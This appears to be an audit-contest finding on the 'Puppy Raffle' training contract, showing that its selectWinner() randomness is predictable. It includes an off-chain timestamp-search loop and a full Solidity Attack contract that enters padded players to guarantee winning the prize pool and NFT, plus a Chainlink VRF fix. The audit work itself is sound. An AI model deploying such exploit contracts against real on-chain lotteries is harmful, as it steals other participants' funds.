Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness in `selectWinner()` Allows Attacker to Guarantee a Win

Description

  • selectWinner() selects a winner by hashing msg.sender, block.timestamp, and block.difficulty.

  • All three values are either controlled or predictable by the caller. An attacker can compute the winning index off-chain and call selectWinner() only when the result maps to their own player slot.

// @> All inputs are known or manipulable before the transaction is submitted
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)))
% players.length;

Risk

Likelihood:

  • selectWinner() is permissionless — any address can call it after the raffle duration ends

  • On Proof-of-Stake, block.difficulty resolves to prevrandao, which validators can influence directly

Impact:

  • An attacker wins the NFT and prize pool in every raffle round

  • Protocol fairness is permanently broken; user trust collapses

Proof of Concept

The attacker pre-computes winnerIndex locally before broadcasting the transaction. They iterate through candidate block.timestamp values until the hash maps to their index, then time their call accordingly. Because selectWinner() is open to anyone, there is no gatekeeper to prevent this.

// Off-chain simulation: attacker finds the timestamp that selects their index
function findWinningTimestamp(
address attacker,
uint256 difficulty,
uint256 playersLength,
uint256 attackerIndex
) external view returns (uint256) {
uint256 ts = block.timestamp;
while (true) {
uint256 idx = uint256(keccak256(abi.encodePacked(attacker, ts, difficulty))) % playersLength;
if (idx == attackerIndex) return ts;
ts++;
}
}

Recommended Mitigation

Replace on-chain pseudo-randomness with Chainlink VRF v2 for verifiable, tamper-proof randomness.

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)))
- % players.length;
+ // Request randomness via Chainlink VRF:
+ // 1. Call requestRandomWords() — store the requestId
+ // 2. Resolve the winner inside fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
+ uint256 winnerIndex = randomWords[0] % players.length;

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!